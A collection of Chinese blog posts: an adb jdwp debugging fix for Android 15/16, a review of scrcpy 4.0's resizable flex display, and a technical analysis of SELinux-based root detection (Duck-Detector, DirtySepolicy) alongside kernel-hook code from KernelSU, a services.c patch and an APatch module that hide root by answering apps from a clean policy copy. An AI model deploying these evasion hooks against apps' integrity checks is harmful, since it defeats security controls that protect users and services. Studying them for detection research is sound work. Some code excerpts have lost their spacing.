解决一个安卓15/16调试APK运行adb jdwp无输出的问题

这个问题的起源是一个安卓学员发现在一台Pixel6的安卓16设备上，调试debugable的APK程序时，adb jdwp无输出的问题。不能打印jdwp端口，就没办法adb forward转发后开IDA的调试。

指令流程
	adb install app-release.apk
	adb shell am start -D -n com.example.ctf/.MainActivity
	adb shell ps -A | grep com.example
	adb jdwp

奇怪点在于16这台不行，小米的又可以。

我本地测试一加ACE 3Pro的安卓15，同样是没有输出。然后，我就让他使用LLDB在安卓Termux上直接调试会更简单。

但是他还是想弄清楚这个问题的底层原理，于是他经过一翻摸索，找到了原因。并把方案告诉了我。

https://android.googlesource.com/platform/packages/modules/adb/+/refs/heads/android15-s1-release/libs/adbconnection/adbconnection_client.cpp

我本机看了下，果然有安装类似的插件，并且adbd是stopped。不过我没卸载插件，只是让adbd起来。然后测试，发现成功了！

不错！在此给这位学员点赞！

希望大家在遇到技术问题尝试解决时，不是像我这样第一时间考虑换方案，而是能够像他一样保持探索的精神。

跳转微信打开

有意思的官方杀同人安卓投屏多窗口融合模式

上一篇《iOS虚拟手机可以玩窗口化融合的越狱插件》在结尾留过一个尾巴，顺手提到安卓平台现在也有了类似的工具，会单独写一篇。这一篇就来还这个愿，只是故事比预想中还要戏剧一点。

事情是这样的：X上一个的开发者推主先发了一条推，说自己刚搞完一个"融合模式"的安卓投屏工具，预计下周上线，欢迎大家来玩。结果没过几天，朋友告诉他scrcpy刚发布的4.0版本里加了一个几乎完全一样的功能，叫flex display。一查commit，scrcpy这边的提交功能的时间正在他发推的完不久。

这其实是同人圈很熟悉的桥段，"刚做完发完安利，官方就出了一模一样的东西"。只不过这次的"官方"是Genymobile这个团队，他们手里那把scrcpy，已经是安卓投屏事实上的标准。整件事看下来，又好笑又值得复盘，所以才有了这一篇。

同人作品AndDrive

先聊推主@1ittlecup搞的这个安卓投屏工具，从他给出的截图大致能拼出全貌。

工具叫AndDrive(D)，介绍写得很直白，无缝连接你的Mac和Android设备。界面上有两个Tab，一个叫"设备管理"，一个叫"应用列表"，当前选中的是一台Pixel 8，右上角有一个特别醒目的"融合模式"开关。下方搜索框旁边的应用列表里，显示着povo2.0、QQ、Shadowsocks、Shizuku这一类常用app的图标。

也就是说，它要做的并不是把整个Android手机屏幕投到Mac上那种传统方案，而是把单个app以独立窗口的形态投出来。每个app就是一个Mac原生外观的窗口，可以拖、可以摆、可以叠，和iOS那边MilkyWayReborn的窗口化思路精神上是一致的，只是平台从越狱iOS换成了原生安卓。

按推主的说法，这个工具基本已经做好，准备下周公开发布。从功能反推实现链路，基本可以猜到他在做这几件事：

1. 通过adb或者类似通道在手机端启动一个server，接收来自Mac的指令。

2. 在Android侧创建虚拟显示，把目标app拉起到虚拟display上，再截取这一块surface的画面。

3. 把surface流编码后回传到Mac端，每个虚拟display对应一个Mac窗口。

4. 反向把鼠标、键盘、剪贴板事件转发回Android侧，作用到对应的虚拟display。

5. 同步Mac窗口的尺寸变化，让虚拟display的尺寸跟着实时调整，做到所见即所得。

这五件事，前四件是经典投屏方案的常规操作，scrcpy过去几年里基本都做过。真正卡住所有同类工具的是第五件，让虚拟display的尺寸跟着客户端窗口动态调整，而不是开始一次就锁死，这条路在Android上并不平坦。

scrcpy版本4.0

scrcpy v4.0是2026年5月12日发布的，作者是Genymobile的rom1v。这一版的changelog长得吓人，从SDL2迁移到SDL3、加了相机变焦和手电筒控制、加了--keep-active、修了一大堆Meta Quest闪烁问题。但站在这次故事的视角，里面最关键的一句只是这一行：

Add flex display support (#6772)

按官方说法，虚拟display现在可以打上"flex"标记，使用--flex-display或者短选项-x开启，开启之后虚拟display就能随着客户端窗口的大小动态resize。再配合--start-app这一类参数，就能直接把单个Android app拉起到一个可以自由缩放的桌面窗口里。

官方的demo命令本身就很有代表性：

scrcpy --new-display=/192 -x --start-app=org.mozilla.firefox --keep-active --no-vd-system-decorations

这一行命令做的事情是，创建一个dpi为192的新虚拟display，启用flex模式，在这个display上拉起Firefox，保持设备活跃，并且不绘制虚拟display的系统装饰。最终效果就是Mac桌面上多出一个看起来就像原生窗口的Firefox for Android，可以随便拖、随便缩。

官方文档里给出的其他玩法也都简单直接：

# 启动安卓系统设置,固定初始尺寸为1024x768、dpi 160
scrcpy --new-display=1024x768/160 --start-app=com.android.settings --flex-display
# 默认尺寸是1280x960,dpi是160
scrcpy --new-display --start-app=com.android.settings --flex-display
# 配合h265和高码率,大窗口下保持画质
scrcpy --new-display -x --video-codec=h265 -b16M

也就是说，推主那一套设备管理面板加应用列表的GUI壳子，如果只看核心能力，scrcpy 4.0用一行命令就能搞出大致一样的效果。这才是这次故事真正的痛点，不是scrcpy出了竞品，是scrcpy把这件事的核心能力以官方姿态一次性给齐了。

flex display核心能力

flex display在用户视角上的表现，可以拆成几个要点。

第一，每个flex display都是一个虚拟display，不是手机主屏的镜像。也就是说，给它装哪个app、装多大、按多少dpi渲染，完全和真机的物理屏幕脱钩，这本身就是窗口化所需要的前提。

第二，尺寸可以随客户端窗口动态变化，而不是开始时锁死。这是它和过去--new-display的最大区别。过去也能在投屏链路里再开一个虚拟display，但开多大就只能多大，要变只能关掉重开。

第三，可以指定初始尺寸和dpi。如果不指定，默认是1280x960、dpi 160。这两个值不是从主机屏幕推导出来的，而是写死的合理默认，理由很简单，做成自适应主机屏幕需要更多代码，并且会延后第一帧的时间，得不偿失。

第四，渲染策略和普通投屏不一样。普通投屏会把帧居中按比例铺满窗口，flex display下默认是1:1渲染到窗口左上角。这是为了让"客户端窗口大小"和"虚拟display大小"在视觉上严格对齐，而不是用缩放遮掩两者的不一致。

第五，会和--keep-active、--video-codec=h265、-bN这一类参数配合得很好。要让窗口长时间不锁屏，要让大窗口下保持画质，都有现成的开关。

这几条加起来就足以说明，flex display并不是一个临时拍脑袋加的小功能，它是scrcpy这一代版本里被刻意构造出来的"窗口化投屏"基础能力。

PR 6772的实现关键

scrcpy这次的flex display并不是一次性写完的，对应的PR是#6772，从flex-display.1一路改到flex-display.18，反复打磨了十八轮。看完PR描述就会明白，这个功能远比"加个resize调用"复杂得多。

最核心的能力，就是Android系统里这一个方法：

android.hardware.display.VirtualDisplay.resize(int, int, int)

这是个看起来再简单不过的接口，传宽、高、dpi三个参数就能改变虚拟display的尺寸。但要让它在投屏链路里稳定工作，需要解决一连串异步问题。

第一个问题是resize请求的合并。客户端在拖拽窗口的过程中会触发大量resize事件，如果每一次都老老实实发到设备，Android侧会内部把这些请求积压起来，最后渲染卡顿。scrcpy的做法是，客户端只保留最新一次值往下发，服务端也只在最终目标尺寸或旋转方向与当前不一致时，才重置capture和encoding会话。

第二个问题是resize事件的归因。一个虚拟display的尺寸可以因为两种原因变化，一种是客户端拖窗口主动让它变，一种是Android自己变，比如Alt+r触发的旋转。两者在服务端DeviceMonitor看来都是同一个display change事件，但只有后者需要重置capture/encoding。PR的解法是引入DisplayPropertiesTracker，把"客户端触发"和"系统自发"两种事件区分开，并通过#6159里加入的session元数据走线下发到客户端，告诉客户端这一帧的尺寸变化是不是它自己请求的结果。

第三个问题是闭环抖动。客户端发resize请求，设备异步给出新尺寸的帧，客户端再用这个帧反过来调整窗口，这条链路如果不加抑制，会陷入"客户端微调窗口，设备给新帧，新帧又触发客户端微调"的循环。这就是为什么客户端必须知道某一帧的尺寸变化是不是它自己引起的，是则不再调整窗口，不是才需要自适应。

第四个问题是渲染策略。在resize请求到帧实际变化之间存在一段无法消除的异步窗口，scrcpy引入了--render-fit选项，flex模式下把帧以1:1的方式渲染到窗口左上角。这段异步窗口里，客户端会临时看到黑边或者裁剪，这是物理上的延迟，只能尽量缩短。

第五个问题是resize过程中的画面glitch。PR描述里直接承认了这一点，virtualDisplay.resize()、虚拟display实际resize完成、系统派发display change事件、virtualDisplay.setSurface()这四件事跨多个Android进程，根本无法原子化。在resize瞬间，系统可能用旧尺寸往新surface上画，也可能用新尺寸往旧surface上画，这就是所谓"resize撕裂"的来源。

为了让这些细节稳得住，PR还把另外几个准备工作的小PR一起做了，#6746引入了--min-size-alignment，#6758处理encoder尺寸约束，#6766遵守视频capability上限，#6770修了方形display的旋转问题，#6771对齐虚拟display尺寸。这一串铺垫加上十八轮主PR迭代，才把flex display做到能进4.0正式版的程度。

同人和官方的位置

回到开头那个故事。AndDrive(D)和scrcpy的flex display在能力上确实重叠很多，但定位还是有差别的。

scrcpy一直走的是命令行风格，功能强大，选项多到一个屏幕装不下，对普通用户来说门槛并不低。AndDrive(D)从截图看是一个标准的Mac GUI应用，有设备列表、应用列表、一键开关融合模式，这一套交互恰好是scrcpy多年都没有补上的短板。如果AndDrive(D)继续打磨，它完全有机会以"scrcpy GUI壳"的姿态在桌面端站住脚。这一类壳子在GitHub上已经有过很多前辈，有的甚至比scrcpy本体还火。

但前提是要先承认一个事实，在投屏这条路上，scrcpy就是事实标准。任何同类项目要么基于它，要么至少在技术细节上参考它。这次"官方杀同人"看起来戏剧，实际上是因为flex display这种功能本来就不是一个新点子。scrcpy的issue里相关讨论可以追溯到很久之前，#6350、#6351、#6705都是被这次PR取代的旧分支，最后由#6772一锤定音。从某种角度看，这反而说明这条路上的所有人都在朝同一个方向走。

至于推主自己那句"做了东西先过审再发帖"，倒是适用于任何一个开源生态的参与者。你不发，可能官方半年都不一定挪窝。你一发，官方也许第二天就把版本号往上跳一位。这两种风险都真实存在，只不过这次正好撞上了后一种。

写到这里就先收尾。如果有读者已经动手试了scrcpy 4.0的flex display，或者抢先体验到了AndDrive(D)的预览版，欢迎在评论里聊一聊各自的使用体验。

跳转微信打开

最近比较流行通杀！前面讲过两篇Linux的通杀漏洞，

这次轮到安卓了。这一次又是Duck-Detector在搞事，老版本这个检测器C语言编写的，现在新版本使用C++重构开源了，挺值得学习的。

Duck这次公开了一个检测方法。可用于全版本Magisk检测，实际它也可以用于对KernelSU与APatch的检测。随后LSPosed沿用同一思路，整理出更精简的DirtySepolicy检测器。

与此同时，KernelSU与APatch社区也亮出了反检测的思路与代码。接下来，本篇主要介绍一下这个通杀检测的原理，以及三种过这个检测的方法。

文章作者：非虫（fei_cong@hotmail.com）

Duck-Detector检测原理

这次检测的核心思路，是把探针下沉到app_zygote进程，借助它对SELinux策略的查询能力，跳过传统的包名、进程名与文件路径扫描，直接向内核发问两件事：目标上下文是否存在、目标访问是否被放行。前者通过写入/sys/fs/selinux/context完成，后者则依赖android.os.SELinux.checkSELinuxAccess接口。

预加载类是整条检测链路的起点。当currentUid与appInfo.uid不一致，或Native库未能加载时，探针会直接产出一份可解析的失败快照，把"载体失效"与"发现Root痕迹"严格区分开来，避免环境异常被误判为命中。

classAppZygotePreload : ZygotePreload {
overridefundoPreload(appInfo: ApplicationInfo) {
val result = runCatching {
val currentUid = Os.getuid()
if (currentUid != appInfo.uid) {
                fallbackPayload("UID mismatch: $currentUid != app uid ${appInfo.uid}.")
            } elseif (!SelinuxContextValidityBridge.isNativeLibraryLoaded) {
                fallbackPayload("SELinux native library unavailable.")
            } else {
                SelinuxContextValidityBridge.nativeCollectContextValiditySnapshot()
                    .ifBlank { fallbackPayload("SELinux native snapshot payload was empty.") }
            }
        }.getOrElse { throwable ->
            fallbackPayload(throwable.message ?: "SELinux app zygote preload failed.")
        }
        SelinuxContextValidityBridge.setPreloadedRawData(result)
    }
}

Native层首先声明被检测的上下文与控制组。其中u:r:ksu:s0、u:object_r:ksu_file:s0、u:object_r:magisk_file:s0是Root相关类型，剩余四个上下文则用于自检oracle的可信度。

constexprconstchar *kSelinuxContextPath = "/sys/fs/selinux/context";
constexprconstchar *kExpectedCarrierType = "app_zygote";
constexprconstchar *kKsuContext = "u:r:ksu:s0";
constexprconstchar *kKsuFileContext = "u:object_r:ksu_file:s0";
constexprconstchar *magiskFileContext = "u:object_r:magisk_file:s0";
constexprconstchar *kNegativeControlContext = "u:r:duckdetector_context_oracle_sentinel:s0";
constexprconstchar *kStockFileControlContext = "u:object_r:system_data_file:s0";
constexprconstchar *kNegativeFileControlContext =
"u:object_r:duckdetector_context_oracle_sentinel_file:s0";

/sys/fs/selinux/context的职责是将输入上下文转换为内核sid。只要当前策略认可目标type，write()便会返回非负值，这正是判定"上下文存在"的唯一信号。

ContextCheckResult check_context_validity(constchar *context){
    ContextCheckResult result;
int fd = open(kSelinuxContextPath, O_RDWR | O_CLOEXEC);
if (fd < 0) {
        result.valid = false;
        result.note = std::string("Unavailable: ") + context + " errno=" + strerror(errno);
return result;
    }
constssize_t written = write(fd, context, std::strlen(context) + 1);
constint error = errno;
close(fd);
if (written >= 0) {
        result.valid = true;
return result;
    }
    result.valid = false;
    result.note = std::string("Unavailable: ") + context + " errno=" + strerror(error);
return result;
}

为防止偶然误判，检测链路对每个Root相关上下文都重复查询两次。只要两次结果不一致即进入UNSTABLE_RESULTS状态，这样即便Root管理器只拦截一次、或在不同入口给出不同答案，依然能够被识别。控制组中"正常上下文应通过、哨兵上下文应失败"四组判定全部符合预期之后，Root相关结果才会被采信；否则视为自检失败，所有KSU结论降级为附加信息。

checkSELinuxAccess走的则是访问向量计算的路径。Duck-Detector以app_zygote的身份充当查询者，覆盖以下四组访问关系：

正向控制（app_zygote到isolated_app的process dyntransition）与反向控制（到哨兵文件类型）同样会做两次稳定性确认。其中Magisk与KernelSU的binder call属于辅助证据，而lsposed_file的读权限才是LSPosed残留的直接证据。Native快照只负责生产数据，展示层不再重新查询策略。

DirtySepolicy独立PoC

DirtySepolicy将同一检测入口浓缩为一个最小化的App。它舍弃了Duck的完整展示层与Native快照包装，重点是证明app_zygote可以直接调用SELinux.checkSELinuxAccess查询全局策略。配置层面，isolatedProcess配合useAppZygote会触发应用私有的Zygote，再由zygotePreloadName指定预加载类，载体便稳稳落在app_zygote之上。

<application
android:zygotePreloadName="org.lsposed.dirtysepolicy.AppZygote"><service
android:name=".DirtySepolicyService"
android:isolatedProcess="true"
android:useAppZygote="true" /></application>

与Duck一样，PoC也把载体可信性的校验置于检测之前：先确认UID未被换掉、当前上下文确实是app_zygote，并验证getContext()、getPidContext()与/proc/self三处文件上下文完全一致。自检通过之后，再直接调用Framework API完成查询。

if (SELinux.checkSELinuxAccess("u:r:system_server:s0", "u:r:system_server:s0", "process", "execmem")) {
    sb.append("system_server can execmem; ");
}
if (SELinux.checkSELinuxAccess("u:r:fsck_untrusted:s0", "u:r:fsck_untrusted:s0", "capability", "sys_admin")) {
    sb.append("neverallow violated; ");
}
if (Build.TYPE.equals("user") && SELinux.checkSELinuxAccess("u:r:shell:s0", "u:r:su:s0", "process", "transition")) {
    sb.append("found AOSP su in user build; ");
}
if (SELinux.checkSELinuxAccess("u:r:adbd:s0", "u:r:adbroot:s0", "binder", "call")) {
    sb.append("found adb_root; ");
}
if (SELinux.checkSELinuxAccess("u:r:untrusted_app:s0", "u:r:magisk:s0", "binder", "call")) {
    sb.append("found Magisk; ");
}
if (SELinux.checkSELinuxAccess("u:r:untrusted_app:s0", "u:object_r:ksu_file:s0", "file", "read")) {
    sb.append("found KernelSU; ");
}
if (SELinux.checkSELinuxAccess("u:r:untrusted_app:s0", "u:object_r:lsposed_file:s0", "file", "read")) {
    sb.append("found LSPosed; ");
}
if (SELinux.checkSELinuxAccess("u:r:untrusted_app:s0", "u:object_r:xposed_data:s0", "file", "read")) {
    sb.append("found Xposed; ");
}
if (SELinux.checkSELinuxAccess("u:r:zygote:s0", "u:object_r:adb_data_file:s0", "dir", "search")) {
    sb.append("found ZygiskNext; ");
}

相比Duck，PoC的查询面更宽，涵盖了fsck_untrusted的sys_admin、shell到su的迁移、adbd到adbroot的binder call，以及Xposed与ZygiskNext的残留特征。它真正的价值并不在UI，而是揭示了一个事实：只要app_zygote能向内核问到当前策略，脏规则便会化作可读信号，用户态进程根本绕不开这道查询口。

KernelSU运行时过检测

KernelSU上游新增selinux_hide之后，过检测的思路便从"清掉策略"演变为"给应用UID呈现另一份备份策略"。当前策略仍然保留Root所需的全部规则，但应用态的查询入口被悄悄转向注入之前的策略副本。

backup_sepolicy在KernelSU追加自身域与文件类型之前便已生成。如此一来，后续隐藏逻辑无需伪造任何字符串，只需拿一张真实的旧策略表重新计算答案。

系统UID仍然走原始的context写入口，应用UID则改走backup_sepolicy。当检测器提交u:r:ksu:s0或u:object_r:ksu_file:s0时，旧策略里并不存在对应类型，转换随即失败，检测侧看到的便是"上下文不存在"。

staticssize_tmy_write_context(struct file *file, char *buf, size_t size)
{
if (likely(current_uid().val < 10000)) {
return orig_context_write(file, buf, size);
    }
char *canon = NULL;
    u32 sid, len;
ssize_t length;
    length = security_context_to_sid_with_policy(backup_sepolicy, buf, size, &sid, SECSID_NULL, GFP_KERNEL);
if (length)
goto out;
    length = security_sid_to_context_with_policy(backup_sepolicy, sid, &canon, &len);
if (length)
goto out;
memcpy(buf, canon, len);
    length = len;
out:
    kfree(canon);
return length;
}

checkSELinuxAccess最终触发的是访问向量计算。应用UID的输入被引导至backup_sepolicy重新计算，因此untrusted_app到ksu的binder call，以及untrusted_app到ksu_file的file read，不再按当前策略给出结果。

staticssize_tmy_write_access(struct file *file, char *buf, size_t size)
{
if (likely(current_uid().val < 10000)) {
return orig_access_write(file, buf, size);
    }
/* 省略参数解析与错误处理 */
    length = security_context_to_sid_with_policy(backup_sepolicy, scon, strlen(scon),
                                                 &ssid, SECSID_NULL, GFP_KERNEL);
if (length) goto out;
    length = security_context_to_sid_with_policy(backup_sepolicy, tcon, strlen(tcon),
                                                 &tsid, SECSID_NULL, GFP_KERNEL);
if (length) goto out;
    security_compute_av_user_with_policy(backup_sepolicy, ssid, tsid, tclass, &avd);
    length = scnprintf(buf, SIMPLE_TRANSACTION_LIMIT, "%x %x %x %x %u %x",
                       avd.allowed, 0xffffffff, avd.auditallow,
                       avd.auditdeny, avd.seqno, avd.flags);
return length;
}

除此之外，setprocattr current入口同样被纳入隐藏面，目标上下文统一交由backup_sepolicy解析，以防检测器从/proc/self/attr/current一侧绕开selinuxfs查询。

运行时方案的优势在于不必修改设备内核源码。具体做法是：通过kallsyms_lookup_name("write_op")定位selinuxfs的写操作表，再用ksu_patch_text将SEL_CONTEXT与SEL_ACCESS两个槽位替换为自定义函数，同时挂上selinux_setprocattr的LSM hook。

selinux_write_op = kallsyms_lookup_name("write_op");
context_write = &selinux_write_op[SEL_CONTEXT];
orig_context_write = *context_write;
ksu_patch_text(context_write, &my_write_context, sizeof(my_write_context),
               KSU_PATCH_TEXT_FLUSH_DCACHE);
access_write = &selinux_write_op[SEL_ACCESS];
orig_access_write = *access_write;
ksu_patch_text(access_write, &my_write_access, sizeof(my_write_access),
               KSU_PATCH_TEXT_FLUSH_DCACHE);
ksu_lsm_hook(&selinux_setprocattr_hook);

管理器侧的"隐藏SELinux修改"开关最终对应到KSU_FEATURE_SELINUX_HIDE这一特性位。开启之后，应用UID所见即为备份策略的答案；关闭之后，selinuxfs入口回归原始实现。截图中Duck的Danger显示为0，恰好与该功能的工作面相互印证。

内核源码级过检测补丁

Andrea仓库里的补丁直接动了security/selinux/ss/services.c。如果说运行时方案改的是selinuxfs入口，那么源码级方案改的便是SELinux服务函数本身：上下文解析与访问向量计算，统统在内核源码层被过滤。

补丁优先使用KernelSU上游已经暴露的backup_sepolicy；若该符号不存在，则回退到静态规则表与隐藏type表。静态表所覆盖的，恰好正是DirtySepolicy与Duck所查询的访问关系。

externstructselinux_policy *backup_sepolicy __attribute__((weak));
staticconststructselinux_hidden_av_ruleselinux_hidden_av_rules[] = {
    { "system_server", "system_server", "process", "execmem" },
    { "fsck_untrusted", "fsck_untrusted", "capability", "sys_admin" },
    { "shell", "su", "process", "transition" },
    { "adbd", "adbroot", "binder", "call" },
    { "untrusted_app", "magisk", "binder", "call" },
    { "untrusted_app", "ksu", "binder", "call" },
    { "untrusted_app", "ksu_file", "file", "read" },
    { "untrusted_app", "lsposed_file", "file", "read" },
    { "untrusted_app", "xposed_data", "file", "read" },
    { "zygote", "adb_data_file", "dir", "search" },
};
staticconstchar * const selinux_hidden_context_types[] = {
"su", "adbroot", "ksu", "ksu_file",
"magisk", "magisk_file", "lsposed_file", "xposed_data",
};

过滤逻辑只对app_zygote生效。系统服务与内核内部的正常计算依旧沿用原策略，从而将对系统运行的影响降到最低；检测器恰好倚仗app_zygote，因此正好落入过滤分支。

staticboolselinux_hidden_av_query_caller(struct policydb *policydb,
struct sidtab *sidtab){
structcontext *ccontext;
constchar *ctype;
    ccontext = sidtab_search(sidtab, current_sid());
if (!ccontext)
returnfalse;
    ctype = sym_name(policydb, SYM_TYPES, ccontext->type - 1);
return ctype && !strcmp(ctype, "app_zygote");
}

当app_zygote提交ksu、ksu_file、magisk_file等隐藏type时，补丁会让security_context_to_sid_core提前返回-EINVAL，Duck的/sys/fs/selinux/context检测因此只能得到"上下文无效"的回应。

staticboolselinux_hide_context_validity_query(struct policydb *policydb,
struct sidtab *sidtab,
constchar *scontext,
                                                u32 scontext_len){
unsignedint i;
if (!selinux_hidden_av_query_caller(policydb, sidtab))
returnfalse;
if (selinux_hide_context_query_with_backup(scontext, scontext_len))
returntrue;
for (i = 0; i < ARRAY_SIZE(selinux_hidden_context_types); i++) {
if (selinux_hidden_context_has_type(scontext, scontext_len,
                                            selinux_hidden_context_types[i]))
returntrue;
    }
returnfalse;
}

至于访问向量计算，则视backup_sepolicy是否可用分作两条路径：可用时将源、目标上下文映射到备份策略，重新计算av_decision；不可用时则按静态规则表清掉命中的permission位，核心逻辑仅有寥寥数行。

for (i = 0; i < ARRAY_SIZE(selinux_hidden_av_rules); i++) {
conststructselinux_hidden_av_rule *rule = &selinux_hidden_av_rules[i];
if (strcmp(rule->stype, stype) || strcmp(rule->ttype, ttype) ||
strcmp(rule->tclass, tclass_name))
continue;
    perm = selinux_perm_to_av(tclass_datum, rule->perm);
if (!perm)
continue;
    avd->allowed &= ~perm;
    avd->auditallow &= ~perm;
    avd->auditdeny |= perm;
}

这段代码被插入到security_compute_av_user()之中。checkSELinuxAccess底层一旦计算完成，结果会被立刻过滤，应用态最终拿到的，只能是处理之后的av_decision。该路径与KernelSU运行时方案如出一辙：不删当前策略，只把查询结果改写成旧策略本应给出的答案。

KPM运行时补丁方案

APatch社区给出的反检测方案，是一份名为selinux_magisk_access_filter的KPM（kernel patch module）。它与KernelSU上游selinux_hide同属"运行时挂钩"路线，但走的是KPM框架的hook_wrap，无需重编内核，也无需依赖backup_sepolicy这一上游符号。

整体思路可以浓缩为一句话：先在SELinux就绪时悄悄抓取一份干净策略，再在应用UID走到查询入口时，让它看到那份干净策略的回答。

KPM在init阶段一次性挂上10个selinuxfs与SELinux服务函数的钩子，覆盖检测器可能用到的所有入口。各目标的角色如下：

辅助符号则按需通过kallsyms_lookup_name解析，包括vmalloc/vmalloc_noprof、vfree、copy_from_kernel_nofault（旧内核退化为probe_kernel_read）、security_context_to_sid、selinux_policy_cancel、sidtab_cancel_convert。任一关键符号缺失时，对应的过检测路径会安全降级而非崩溃。

干净策略的采集时机是selinux_complete_init或selinux_policy_commit的after回调，对应SELinux首次就绪和后续每次新策略落地。snapshot_clean_policy会调用security_read_policy复制出一份原始blob，并在blob中扫描MAGISK字样以标记g_clean_policy_has_magisk。

rc = g_security_read_policy(&blob, &len);
if (rc || !blob || !len)
return;
for (i = 0; i + 6 <= len; i++) {
if ((p[i] & 0xDF) == 'M' && (p[i + 1] & 0xDF) == 'A' &&
        (p[i + 2] & 0xDF) == 'G' && (p[i + 3] & 0xDF) == 'I' &&
        (p[i + 4] & 0xDF) == 'S' && (p[i + 5] & 0xDF) == 'K') {
        magisk_seen = true;
break;
    }
}
g_clean_policy_blob = blob;
g_clean_policy_len = len;

随后用security_load_policy把这份blob反序列化成内部load_state，作为应用态查询的备用引擎。需要注意的是，这次内部load是合法的"副本load"，因此KPM用g_internal_policy_load_depth计数把它与外部的脏策略load区分开来——只有计数为0的security_load_policy调用，才会被g_dirty_policy_seen标记。

sel_write_context钩子的核心，是用前面采集的干净blob反向校验当前查询样本是否合法。判定规则极简：把上下文按冒号切片，取最后一段type名，到干净blob里做字节比对。

if (!g_clean_load_state_ready || !g_clean_policy_blob ||
    clean_context_exists(sample)) {
    args->local.data0 = 3;        /* 放行 */
return;
}
args->skip_origin = 1;
args->local.data0 = 2;            /* 拦截 */
args->ret = (u64)(-EINVAL);

sel_write_access的处理类似，只是要把"scontext tcontext tclass"中的前两段都校验一遍，任一段在干净策略中找不到，便直接-EINVAL返回。context_struct_compute_av与string_to_context_struct两个钩子则更进一步：它们把传入的policydb第一参数替换为g_clean_policydb，这样即便检测器绕过了selinuxfs字符接口直接走Framework调用，最终的av_decision仍然由干净策略计算得出。

本方案与KernelSU方案的对照：

总体上，APatch的KPM思路与KernelSU运行时方案同源——都是"让应用UID看到一份不含Root类型的旧策略"。只是它把这件事完全放到模块层来做，连backup_sepolicy这一上游符号都可以舍弃，靠运行时再生成一份等价的"干净策略"来支撑后续所有查询路径。

KPM方案的限制

把上述思路真正落到产品级使用时，KPM方案有几条无法回避的限制需要正视。

限制一：加载时机必须早于Root域追加。

KPM的干净策略来自security_read_policy运行时读取，而不是像KernelSU那样在编译期就备份。一旦KPM加载晚于Root域注入，snapshot_clean_policy抓到的blob里就已经包含ksu、magisk_file等Root相关type，clean_context_exists("u:r:ksu:s0")随即返回true，KPM不仅不会拦截，反而会主动放行，检测器写入成功后直接判定ksu_domain_valid=true命中。因此该KPM不适合热加载，必须由APatch的bootkernel加载链在SELinux初始化之前就将其驻留到内核。

限制二：compute_av深层入口实际并未做策略重定向。

虽然KPM挂上了context_struct_compute_av与string_to_context_struct两个钩子，但其before_policydb_arg0回调中真正替换policydb参数的条件是g_clean_eval_depth > 0：

if (g_clean_eval_depth && clean_db && incoming) {
    args->arg0 = (u64)(uintptr_t)clean_db;
return;
}

g_clean_eval_depth只有在KPM自己调用g_security_context_to_sid做内部清洁评估时才会临时大于零；对外部直接调用这两个函数的情况，本钩子退化为观察者，只负责检测脏策略并触发快照，并不实际改写计算输入。这与KernelSU的my_write_access把应用UID的av_decision计算彻底引导到backup_sepolicy不同。

实战中这个不等效之所以没有暴露，是因为Duck与DirtySepolicy走的都是/sys/fs/selinux/access这一用户态写入路径，被前面的sel_write_access钩子提前拦截了；一旦未来出现绕过/sys/fs/selinux/access、直接经compute_av系内核内部入口探测的检测器，本KPM将失守，而KernelSU仍可拦截。

限制三：clean_context_token_exists基于字节子串匹配。

KernelSU走的是security_context_to_sid_with_policy(backup_sepolicy, ...)，由内核策略引擎给出标准答案；而本KPM则是在blob里做ASCII子串扫描，匹配的是":后到行尾的最后一段type名"。这意味着若干净策略里恰好出现某Root相关字符串作为其他type名的子串，存在理论上的误判风险。实践中Root相关type名（ksu、magisk、magisk_file、ksu_file、lsposed_file、xposed_data）通常是独立token，干净策略里不存在与之构成部分匹配的合法type，故误判概率极低，但仍是潜在脆弱点。

限制四：security_read_policy双ABI不兼容。

本KPM对security_read_policy只按"无state参数"的2参形态调用：

typedefint(*security_read_policy_t)(void **data, size_t *len);

而Android 13/14对应的5.15内核里，该函数仍是int security_read_policy(struct selinux_state *, void **, size_t *)三参形态。在那类内核上直接以2参签名调用会因参数错位而security_read_policy提前失败，整个干净策略快照流程便走不下去，KPM也就退化为纯观察者。如要兼容旧内核，需要额外按kver分支选择正确的调用约定。

限制五：依赖kallsyms_lookup_name解析符号。

KPM挂钩的10个目标和7个辅助函数全部依赖kallsyms_lookup_name返回有效地址。在/proc/kallsyms被禁用或符号被剥离的发行版内核上，security_read_policy、sidtab_cancel_convert、copy_from_kernel_nofault等任一关键符号缺失，对应钩子就会被跳过，相关检测路径不再被拦截。KPM加载日志中需要逐项确认这些符号是否解析成功。

限制六：策略热更新场景下的快照陈旧问题。

若运行期间策略以外部方式被合法更新（例如系统OTA后init重新加载policy），before_security_load_policy会把这次load标记为g_dirty_policy_seen=true，从此snapshot_clean_policy不再刷新副本。这虽然能避免把脏策略当成干净副本，但也意味着干净blob会一直停留在最早那次快照的版本，长期运行后可能与系统真实策略产生越来越大的偏差，进而拦截到一些本应放行的合法上下文。

总之一句话，目前kpm的实现还有一些提升的空间，期待后续的完善。

最后，希望APatch快快提供代码方式来补丁，这样就不用折腾插件了。

总结

Duck与DirtySepolicy的检测点都依赖app_zygote所拥有的SELinux查询能力。一边用/sys/fs/selinux/context询问上下文是否存在，另一边用checkSELinuxAccess询问访问是否放行，两者皆从策略层一举绕开包名隐藏、进程名隐藏与文件路径伪装。

KernelSU上游的selinux_hide，处理面已覆盖SEL_CONTEXT、SEL_ACCESS与setprocattr current，对当前Duck和DirtySepolicy的检测路径而言已经具备过检测能力。Andrea的内核源码补丁则把同一思路落到services.c之中，对定制内核而言更为直接，无需依赖运行时对write_op的patch。

至于Magisk，目前在其官方公开代码中尚未见到同级别的app_zygote策略查询隐藏层。只要目标设备仍然把magisk或magisk_file暴露在当前策略之中，Duck的上下文检测以及DirtySepolicy式的访问检测，仍会轻易命中。

若未启用任何隐藏措施，ksu、ksu_file、magisk、magisk_file、lsposed_file这些类型都会被策略oracle一一读出。一旦开启KernelSU的selinux_hide，或将源码级隐藏补丁合入内核，检测器虽然仍在调用同一份API，但返回值已经接近一份干净策略，命中率自然随之下降。

参考资料

• Duck-Detector

  PR#22：https://github.com/eltavine/Duck-Detector-Refactoring/pull/22

• Duck-Detector

  最新实现：app/src/main/cpp/selinux/context_validity_probe.cpp

• Duck-Detector

  预加载：app/src/main/java/com/eltavine/duckdetector/features/selinux/data/service/AppZygotePreload.kt

• Duck-Detector

  LSPosed信号：app/src/main/java/com/eltavine/duckdetector/features/lsposed/data/probes/LSPosedDirtyPolicyProbe.kt

• DirtySepolicy

  ：https://github.com/LSPosed/DirtySepolicy

• DirtySepolicy

  核心实现：app/src/main/java/org/lsposed/dirtysepolicy/AppZygote.java

